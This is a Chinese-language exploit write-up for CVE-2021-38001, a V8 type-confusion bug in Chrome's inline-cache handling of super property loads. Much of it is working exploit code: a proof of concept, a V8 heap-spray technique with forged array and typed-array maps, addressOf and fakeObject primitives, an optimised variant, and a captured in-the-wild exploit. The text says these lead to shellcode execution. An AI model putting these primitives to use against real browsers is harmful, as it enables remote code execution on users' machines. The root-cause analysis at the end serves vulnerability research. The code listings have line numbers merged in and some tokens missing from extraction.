CVE-2021-38001漏洞分析
第四个研究的是CVE-2021-38001,其chrome的bug编号为:1260577 
其相关信息还未公开,但是我们仍然能得知:
受影响的Chrome最高版本为:95.0.4638.549.5.172.21
搭建环境 一键编译相关环境:
该漏洞是2021年天府杯上提交的漏洞,在网上也只有一篇相关分析和PoC[2] :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import  * as  module  from  "1.mjs" ;function  poc (    class  C  {         m (             return  super .y ;         }     }     let  zz = {aa : 1 , bb : 2 };          function  trigger (                  C.prototype __proto__  = zz;                  C.prototype __proto__ .__proto__  = module ;                                    let  c = new  C ();         c.x0  = 0x42424242  / 2 ;         c.x1  = 0x42424242  / 2 ;         c.x2  = 0x42424242  / 2 ;         c.x3  = 0x42424242  / 2 ;         c.x4  = 0x42424242  / 2 ;                                    let  res = c.m ();     }          for  (let  i = 0 ; i < 0x100 ; i++) {         trigger ();     } } poc ();
该漏洞在原理的理解上有一些难度,不过仍然能使用套模板的方法来编写EXP,不过在套模板之前我们先来学一个新技术:V8通用堆喷技术
V8通用堆喷技术 首先来做个简单的测试:
1 2 3 a = Array (100 ); %DebugPrint (a); %SystemBreak (); 
使用vmmap查看堆布局:
1 2 3 4 5 6 7 8 9 10 11 12 13 0x1f7a00000000     0x1f7a00003000 rw-p     3000 0      [anon_1f7a00000] 0x1f7a00003000     0x1f7a00004000 ---p     1000 0      [anon_1f7a00003] 0x1f7a00004000     0x1f7a0001a000 r-xp    16000 0      [anon_1f7a00004] 0x1f7a0001a000     0x1f7a0003f000 ---p    25000 0      [anon_1f7a0001a] 0x1f7a0003f000     0x1f7a08000000 ---p  7fc1000 0      [anon_1f7a0003f] 0x1f7a08000000     0x1f7a0802a000 r--p    2a000 0      [anon_1f7a08000] 0x1f7a0802a000     0x1f7a08040000 ---p    16000 0      [anon_1f7a0802a] 0x1f7a08040000     0x1f7a0814d000 rw-p   10d000 0      [anon_1f7a08040] 0x1f7a0814d000     0x1f7a08180000 ---p    33000 0      [anon_1f7a0814d] 0x1f7a08180000     0x1f7a08183000 rw-p     3000 0      [anon_1f7a08180] 0x1f7a08183000     0x1f7a081c0000 ---p    3d000 0      [anon_1f7a08183] 0x1f7a081c0000     0x1f7a08240000 rw-p    80000 0      [anon_1f7a081c0] 0x1f7a08240000     0x1f7b00000000 ---p f7dc0000 0      [anon_1f7a08240] 
其中我们注意一下最后一块堆相关信息:
1 2 3 4 5 6 7 8 9 10 11 0x1f7a081c0000     0x1f7a08240000 rw-p    80000 0      [anon_1f7a081c0] pwndbg> x/16gx 0x1f7a081c0000 0x1f7a081c0000:	0x0000000000040000 0x0000000000000004 0x1f7a081c0010:	0x000056021f06d738 0x00001f7a081c2118 0x1f7a081c0020:	0x00001f7a08200000 0x000000000003dee8 0x1f7a081c0030:	0x0000000000000000 0x0000000000002118 0x1f7a081c0040:	0x000056021f0efae0 0x000056021f05f5a0 0x1f7a081c0050:	0x00001f7a081c0000 0x0000000000040000 0x1f7a081c0060:	0x000056021f0ed840 0x0000000000000000 0x1f7a081c0070:	0xffffffffffffffff 0x0000000000000000 
以下为该堆块的相关结构:
1 2 3 4 0x1f7a081c0000: size = 0x40000 0x1f7a081c0018: 堆的起始地址为0x00001f7a081c2118,在V8的堆结构中有0x2118字节用来存储堆结构相关信息 0x1f7a081c0020: 堆指针,表示该堆已经被使用到哪了 0x1f7a081c0028: 已经被使用的size, 0x3dee8 + 0x2118 = 0x40000 
再来看看后面的堆布局:
1 2 3 4 5 6 7 8 9 pwndbg> x/16gx 0x1f7a081c0000 + 0x40000 0x1f7a08200000:	0x0000000000040000 0x0000000000000004 0x1f7a08200010:	0x000056021f06d738 0x00001f7a08202118 0x1f7a08200020:	0x00001f7a08240000 0x000000000003dee8 0x1f7a08200030:	0x0000000000000000 0x0000000000002118 0x1f7a08200040:	0x000056021f0f0140 0x000056021f05f5a0 0x1f7a08200050:	0x00001f7a08200000 0x0000000000040000 0x1f7a08200060:	0x000056021f0fd3c0 0x0000000000000000 0x1f7a08200070:	0xffffffffffffffff 0x0000000000000000 
结构同上,可以发现,在0x1f7a081c0000     0x1f7a08240000 rw-p    80000 0      [anon_1f7a081c0]内存区域中,由两个大小为0x40000的v8的堆组成。
如果这个时候,我申请一个0xf700大小的数组,在新版v8中,一个地址4字节,那么就是需要0xf700 * 4 + 0x2118 = 0x3fd18,再对齐一下,那么就是0x40000大小的堆,我们来测试一下:
1 2 3 a = Array (0xf700 ); %DebugPrint (a); %SystemBreak (); 
得到变量a的信息为:
1 2 3 4 5 6 7 8 9 10 11 12 DebugPrint: 0x2beb08049929: [JSArray]  - map: 0x2beb08203ab9 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]  - prototype: 0x2beb081cc0e9 <JSArray[0]>  - elements: 0x2beb08242119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS]  - length: 63232  - properties: 0x2beb0800222d <FixedArray[0]>  - All own properties (excluding elements): {     0x2beb080048f1: [String] in ReadOnlySpace: #length: 0x2beb0814215d <AccessorInfo> (const accessor descriptor), location: descriptor  }  - elements: 0x2beb08242119 <FixedArray[63232]> {      0-63231: 0x2beb0800242d <the_hole>  } 
发现堆布局的变化:
1 0x2beb081c0000     0x2beb08280000 rw-p    c0000 0      [anon_2beb081c0] 
size从0x80000变成了0xc0000,跟我预想的一样,增加了0x40000,而变量a的elements字段地址为0x2beb081c0000 + 0x80000 + 0x2118 + 0x1 = 0x2beb08242119
在新版的V8种,因为启用的地址压缩特性,在堆中储存的地址为4字节,而根据上述堆的特性,我们能确定低2字节为0x2119
另外,堆地址总是从0x00000000开始的,在我的环境中,上述堆的高2字节总是0x081c,该数值取决于V8在前面的堆中储存了多少数据,该值不会随机变化,比如在写好的脚本中,该值基本不会发生改变。所以现在,可以确定一个有效地址:0x081c0000 + 0x2118 + 0x1 + 0x80000 + 0x40000 * n, n>=0
如果在比较复杂的环境中,可以增加Array的数量,然后定一个比较大的值,如以下一个示例:
1 2 3 4 5 6 7 8 big_array = [];   for  (let  i = 0x0 ; i < 0x50 ; i++) {       tmp = new  Array (0x100000 );       for  (let  j = 0x0 ; j < 0x100 ; j++) {           tmp[0x18  / 0x8  + j * 0x1000 ] = itof (i * 0x100  + j);       }       big_array.push (tmp); } 
通过该方法堆喷,我们能确定一个地址:0x30002121,然后通过以下代码可以获取到u2d(i * 0x100 + j, 0)的值,从而算出i,j:
1 2 3 var  u32 = new  Uint32Array (f64.buffer );getByteLength = u32.__lookupGetter__ ('byteLength' ); byteLength = getByteLength.call (evil); 
该方法的作用是获取Uint32Array类型变量的bytelength属性,可以通过调试,了解一下Uint32Array类型变量的结构。
但是为什么evil(地址为0x30002121),会被当成Uint32Array类型的变量呢,因为使用上述方法,V8不会检查变量类型吗?当然不是,上面的代码并不完整,完整的代码还需要伪造map结构,地址我们可以算出来,而map结构的会被检查的数据都是flag标志为,该值固定,所以使用gdb查看一下相关变量的map结构,就能进行伪造了,完整的堆喷代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ut_map = itof (0x300021a1 );   buffer = itof (0x3000212900000000 );   address = itof (0x12312345678 );   ut_map1 = itof (0x1712121200000000 );   ut_map2 = itof (0x3ff5500082e );   ut_length = itof (0x2 );   double_map = itof (0x300022a1 );   double_map1 = itof (0x1604040400000000 );   double_map2 = itof (0x7ff11000834 );   big_array = [];   for  (let  i = 0x0 ; i < 0x50 ; i++) {       tmp = new  Array (0x100000 );       for  (let  j = 0x0 ; j < 0x100 ; j++) {           tmp[0x0  / 0x8  + j * 0x1000 ] = ut_map;           tmp[0x8  / 0x8  + j * 0x1000 ] = buffer;           tmp[0x18  / 0x8  + j * 0x1000 ] = itof (i * 0x100  + j);           tmp[0x20  / 0x8  + j * 0x1000 ] = ut_length;           tmp[0x28  / 0x8  + j * 0x1000 ] = address;           tmp[0x30  / 0x8  + j * 0x1000 ] = 0x0 ;           tmp[0x80  / 0x8  + j * 0x1000 ] = ut_map1;           tmp[0x88  / 0x8  + j * 0x1000 ] = ut_map2;           tmp[0x100  / 0x8  + j * 0x1000 ] = double_map;           tmp[0x180  / 0x8  + j * 0x1000 ] = double_map1;           tmp[0x188  / 0x8  + j * 0x1000 ] = double_map2;       }       big_array['push' ](tmp);   } 
后续利用中同样可以使用该思路伪造一个doule数组的变量或者obj数组的变量。
套模版 接下来又到套模板的时间了,暂时先不用管漏洞成因,漏洞原理啥的,我们先借助PoC,来把我们的exp写出来。
研究PoC 可以把PoC化简一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import ('./2.mjs' ).then ((m1 ) =>  {    var  f64 = new  Float64Array (1 ); 	var  bigUint64 = new  BigUint64Array (f64.buffer ); 	var  u32 = new  Uint32Array (f64.buffer ); 	function  d2u (v ) {         f64[0 ] = v;         return  u32; 	} 	function  u2d (lo, hi ) {         u32[0 ] = lo;         u32[1 ] = hi;         return  f64[0 ]; 	} 	function  ftoi (f ) 	{ 	    f64[0 ] = f; 		return  bigUint64[0 ]; 	} 	function  itof (i ) 	{ 		bigUint64[0 ] = i; 		return  f64[0 ]; 	}     class  C  { 		m ( 			return  super .x ; 		} 	}     obj_prop_ut_fake = {};     for  (let  i = 0x0 ; i < 0x11 ; i++) {         obj_prop_ut_fake['x'  + i] = u2d (0x40404042 , 0 );     }     C.prototype __proto__  = m1;     function  trigger (         let  c = new  C ();         c.x0  = obj_prop_ut_fake;         let  res = c.m ();         return  res; 	}     for  (let  i = 0 ; i < 10 ; i++) {         trigger ();     }     let  evil = trigger ();     %DebugPrint (evil); }); 
运行一下PoC,可以发现,最后的结果为:DebugPrint: Smi: 0x20202021 (538976289),SMI类型的变量,值为0x20202021,在内存中的储存值为其两倍:0x20202021 * 2 = 0x40404042,也就是我们在PoC中设置的值。
编写堆喷代码 在PoC中加上我们的堆喷代码(同时进行堆布局):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 a = [2.1 ]; b_1 = {"a" : 2.2 }; b = [b_1]; double_array_addr = 0x082c2121 +0x100 ; double_array_map0 = itof (0x1604040408002119n ); double_array_map1 = itof (0x0a0007ff11000834n ); ptr_array_addr = 0x08242119 ; ptr_array = new  Array (0xf700 ); ptr_array[0 ] = a; ptr_array[1 ] = b; big_array = new  Array (0xf700 ); big_array[0x000 /8 ] = u2d (double_array_addr, 0 ); big_array[0x008 /8 ] = u2d (ptr_array_addr, 0x2 ); big_array[0x100 /8 ] = double_array_map0; big_array[0x108 /8 ] = double_array_map1; 
其中0x082c2121为big_array[0]的地址,0x08242119为ptr_array[0]的地址。
然后是leak变量a和变量b的map地址:
1 2 3 4 5 6 7 8 9 10 11 12 let  evil = trigger ();addr = d2u (evil[0 ]); a_addr = addr[0 ]; b_addr = addr[1 ]; console .log ("[*] leak a addr: 0x" +hex (a_addr));console .log ("[*] leak b addr: 0x" +hex (b_addr));big_array[0x008 /8 ] = u2d (a_addr - 0x8 , 0x2 ); double_array_map = evil[0 ]; big_array[0x008 /8 ] = u2d (b_addr - 0x8 , 0x2 ); obj_array_map = evil[0 ]; console .log ("[*] leak double_array_map: 0x" +hex (ftoi (double_array_map)));console .log ("[*] leak obj_array_map: 0x" +hex (ftoi (obj_array_map)));
编写addressOf函数 现在我们能来编写addressOf函数了:
1 2 3 4 5 6 7 8 9 function  addressOf (obj_to_leak ){     big_array[0x008 /8 ] = u2d (b_addr - 0x8 , 0x2 );     b[0 ] = obj_to_leak;     evil[0 ] = double_array_map;     let  obj_addr = ftoi (b[0 ])-1n ;     evil[0 ] = obj_array_map;     return  obj_addr; } 
编写fakeObj函数 接下来就是编写fakeObj函数:
1 2 3 4 5 6 7 8 9 function  fakeObject (addr_to_fake ){     big_array[0x008 /8 ] = u2d (a_addr - 0x8 , 0x2 );     a[0 ] = itof (addr_to_fake + 1n );     evil[0 ] = obj_array_map;     let  faked_obj = a[0 ];     evil[0 ] = double_array_map;     return  faked_obj; } 
之后就是按照模版来了,修改修改偏移,就能执行shellcode了。
优化 该PoC还能进行一些优化,有时候没必要死抠着模板来,按照上文的所说的知识,我们能伪造map结构的数据,那自然不管是double array map还是obj array map都能,所以没必要再泄漏这些数据了。
我们的堆喷代码能进行一些优化:
1 2 3 4 5 6 7 8 9 10 11 12 13 double_array_addr = 0x08282121 +0x100 ; obj_array_addr = 0x08282121 +0x150 ; array_map0 = itof (0x1604040408002119n ); double_array_map1 = itof (0x0a0007ff11000834n ); obj_array_map1 = itof (0x0a0007ff09000834n ); ptr_array_addr = 0x08282121  + 0x050 ; big_array = new  Array (0xf700 ); big_array[0x000 /8 ] = u2d (obj_array_addr, 0 ); big_array[0x008 /8 ] = u2d (ptr_array_addr, 0x2 ); big_array[0x100 /8 ] = array_map0; big_array[0x108 /8 ] = double_array_map1; big_array[0x150 /8 ] = array_map0; big_array[0x158 /8 ] = obj_array_map1; 
其中big_array[0x100/8]是我们伪造的double array map,big_array[0x150/8]是我们伪造的object array map。
addressOf函数和fakeObj函数也进行一波优化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function  fakeObject (addr_to_fake ){     big_array[0x058 /8 ] = itof (addr_to_fake + 1n );             let  faked_obj = evil[0 ];     return  faked_obj; } function  addressOf (obj_to_leak ){     evil[0 ] = obj_to_leak;     big_array[0x000 /8 ] = u2d (double_array_addr, 0 );     let  obj_addr = ftoi (evil[0 ])-1n ;     big_array[0x000 /8 ] = u2d (obj_array_addr, 0 );     return  obj_addr; } 
其他PoC 该漏洞的PoC不仅有Github上公开的版本,还抓到一个在野利用的版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 function  triger_type_confusion (    return  obj; } obj_or_function = 1.1 ; class  C  extends  triger_type_confusion  {  constructor (       super ();       obj_or_function = super .x ;   } } obj_prop_ut_fake = {}; for  (let  i = 0x0 ; i < 0x11 ; i++) {  obj_prop_ut_fake['x'  + i] = itof (0x30002121 ); } obj = {   'x1' : obj_prop_ut_fake }; C['prototype' ]['__proto__' ] = q1; for  (let  i = 0x0 ; i < 0xa ; i++) {  new  C (); } new  C ();fake_ut = obj_or_function; 
不过跟Github上的PoC对比,略显麻烦了一些,不过原理仍然是一样的。
漏洞原理 该漏洞的成因跟之前我复现的漏洞相比,略微复杂了一下,需要补充一些V8的设计原理相关的知识,可以参考:[3] 、[4] 。
需要了解一下JS获取属性的原理,还有Inline Caches相关的知识。
这里我只简单说说该漏洞的问题:
在最开始执行10次new C(),因为Lazy feedback allocation,所以并没有对属性访问进行优化,这个时候的super就是m1,但是在执行完10次之后,开始进行Inline Caches优化,因为内联缓存代码的bug,super的值变成了变量c: let c = new C();,之后的流程如下:
super.x的取值顺序为:JSModuleNamespace -> module(+0xC) -> exports (+0x4) -> y(+0x28) -> value(+0x4)因为Lazy feedback allocation,trigger函数在执行10次之后,触发了Inline Caches,为了加速代码执行速度,把super.x取值的顺序直接转换成汇编代码。 
漏洞代码,在翻译汇编代码的时候,把super翻译成了变量c。 
c+0xC位置储存的是obj_prop_ut_fakeobj_prop_ut_fake+0x4储存的是该变量的properties(属性),也就是obj_prop_ut_fake.xnobj_prop_ut_fake.properties + 0x28获取到的是HeapNumber结构地址。HeapNumber+0x4地址的值为u2d(0x40404042, 0) 
参考 
https://bugs.chromium.org/p/chromium/issues/detail?id=1260577 https://github.com/vngkv123/articles/blob/main/CVE-2021-38001.md https://v8.dev/blog/v8-lite https://mathiasbynens.be/notes/shapes-ics#ics